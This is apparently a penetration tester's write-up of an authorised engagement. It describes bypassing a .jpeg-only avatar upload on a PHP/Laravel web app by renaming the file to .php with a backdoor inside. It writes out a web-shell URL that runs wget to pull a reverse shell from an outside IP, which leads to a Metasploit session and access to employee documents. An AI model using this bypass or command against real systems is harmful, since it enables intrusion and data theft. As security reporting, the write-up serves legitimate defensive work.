File Upload to Remote Code Execution

In this post, I will walk you through a real life example of how I was able to compromise a web application and achieve remote code execution via a simple file upload. Due to confidentiality, I unfortunately won't be able to share any screenshots of the actual application, but instead I will walk through the process used and share some redacted images of the requests and responses in Burp Suite which show the steps that were taken. For the remainder of the post, I shall call the app/URL- vulnerableapp.online

Mapping the Application

To start with I was provided credentials to the application as a standard user. Upon logging in, I started by browsing through all the pages and examining the functionality of the application. During this process I am essentially creating a map of the application proxying all the requests through Burp Suite.

After completing the process of visiting each page, I returned to a page for amending my profile information and allowed an image to be uploaded for my profile. A small note beneath the upload button noted that the application would only accept an image in the .jpeg format. Given that file uploads can often be circumvented to allow other file formats, I decided to take a closer look.

File Upload Validation

To start, I attempted to upload a valid .jpeg image, the reason for this was to determine that the upload functionality worked as expected and also to see if I could directly access the image via a URL if the upload succeeded. Burp Suite showed a 200 OK response and upon returning to the browser and refreshing the page the newly uploaded image was displayed. Reviewing the request in Burp Suite, it was noted that the uploads for avatars were being placed in the following directory: /uploads/avatars and that the image names were referenced via a number rather than the original file name that I had provided, essentially profile.jpeg was changed to 1524485402.jpeg.

By right clicking the image within the application and selecting: Copy image address the full path was determined as https://vulnerableapp.online/uploads/avatars/1524485402.jpeg

Returning back to Burp Suite, I also examined the HTTP history and noted that the Header Response back from the server was displaying the following information:X-Powered-By: PHP/5.6.35, furthermore the session cookie returned from the server were noted as being laravel_session. Laravel is PHP framework, so I now knew what language the application was developed in.

Proof of Concept

Next step - bypass the file upload with a PHP web shell. This was done by intercepting and manipulating the following POST request:

burp_1

All that was required was a simple change to the filename parameter in Content-Disposition to include .php at the end of the jpeg file name. I also then added a small snippet of code to include a simple PHP Backdoor as shown below:

burp_2

With the file uploaded, it was simply a case of determining the new name of the file allocated by the server, this proved to be simple as the server incremented the integer by 'one' each time, so to access the file it was a case of browsing to https://vulnerableapp.online/uploads/avatars/1524485403.php or using a GET request via Burp Suite to issue the command - I chose the latter as shown below:

burp_5

After issuing the Present Working Directory command pwd, the response came back as /var/www/html/public/uploads/avatars as highlighted below:

burp_6

Taking things a step further

As with any engagement, finding Remote Code Execution means an immediate call to the client. It's important to remember that you shouldn't go snooping around the server unless you have been given prior authorisation to do so. At this point was expecting to go away and write up the processes and steps to recreate the vulnerability, however the client wanted further proof that I actually had access to content that they deemed sensitive.

In order to do this, I needed to get myself a proper shell, rather than the web shell I was using. To do this I used Metasploit to create a PHP reverse shell and listener, then I pulled the PHP shell down from my server using wget:

https://vulnerableapp.online/uploads/avatars/1524485403.php?cmd=wget%20http://35.178.157.214/shell.php

After this, I returned to the browser, navigated to https://vulnerableapp.online/uploads/avatars/shell.php and received my meterpreter session:
msfconsole_0

I didn't have to go far to find some sensitive data, the uploads folder contained another directory - as shown below, inside contained a document related to a employee of the company.

msfconsole_8

This was enough for the client to understand the severity of issue and subsequently the application was taken offline for remediation work to take place.

Understanding the Vulnerability

An authenticated user could bypass the file upload content filter to execute arbitrary code on the underlying operating system. As a result, it was possible to gain access to the server thus affecting the confidentiality and integrity of the data stored. Severity:Critical.

Credits:

Photo by Luca Bravo on Unsplash